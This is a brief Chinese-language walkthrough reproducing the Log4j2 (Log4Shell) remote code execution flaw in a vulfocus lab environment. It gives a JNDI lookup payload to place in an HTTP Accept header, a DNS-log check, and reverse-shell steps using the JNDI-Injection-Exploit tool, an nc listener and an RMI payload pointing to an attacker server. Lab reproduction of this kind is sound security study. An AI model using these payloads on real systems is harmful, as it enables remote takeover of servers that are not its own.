Log4j2远程命令执行复现

Log4j2远程命令执行复现

一、漏洞环境

环境是http://vulfocus.fofa.so平台的

二、漏洞验证

启动环境后访问

抓包，修改请求为post

在数据中的Accept:头插入exp

${jndi:ldap://8hqrxz.dnslog.cn}

成功回显到dnslog平台

三、反弹shell

使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 生成payload

可以在这里下载：https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

使用该网址加密反弹shell命令:https://www.jackson-t.ca/runtime-exec-payloads.html

然后生成payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "服务器ip" -C "命令"

服务器开启监听7777端口nc -lvnp 7777

再在Accept:头插入${jndi:rmi://服务器ip:端口/xxx} xxx为生成的exp

fuzz一下即可，也可能是其他的exp

服务器端的ldap回显正常，此时已经反弹shell成功